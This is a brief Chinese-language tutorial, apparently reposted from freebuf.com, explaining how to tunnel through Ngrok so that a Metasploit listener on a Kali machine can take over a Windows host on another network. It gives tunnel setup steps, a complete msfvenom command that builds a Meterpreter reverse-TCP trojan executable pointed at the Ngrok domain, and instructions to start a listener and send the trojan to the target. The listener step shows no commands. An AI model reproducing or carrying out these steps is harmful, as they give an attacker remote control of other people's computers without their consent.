Ngrok 内网穿透数据转发-MSF控制外网主机

条件：

控制端宽带IP：112.35.122.5
控制端某主机kali系统IP：192.168.1.101

被控端宽带IP：183.155.23.121
被控端某windows系统IP：192.168.1.112

意义：

通过Ngrok做内网数据转发。把控制端kali的本地IP与Ngrok申请的服务器IP绑定在一起，实现反向代理。外网访问Ngrok给予的服务器IP。便会把数据转发到本地的KALI系统，从而实现与其他主机向通信。

步骤：

1.通过 https://www.ngrok.cc 注册账号登录
2.Doshboard-》隧道管理-》开通隧道
3.可购买服务器，或者使用最下面的美国免费服务器。

4.后面msf反弹shell将用HTTP协议通信。所以在开通隧道的时候选择http协议

5. 下载ngrok客户端到kali

6.运行 ./sunny clientid  你的隧道id，打通隧道。

7.反向代理内网穿透做完，接下来用msfvenom 生成木马。
msfvenom -p windows/meterpreter/reverse_tcp lhost=Ngrok赠送的域名 lport=服务器端口 -f exe > /root/shell.exe

8. msf 开启监听：

发送木马到外网主机。

来源：freebuf.com 2021-06-24 16:00:13 by: root22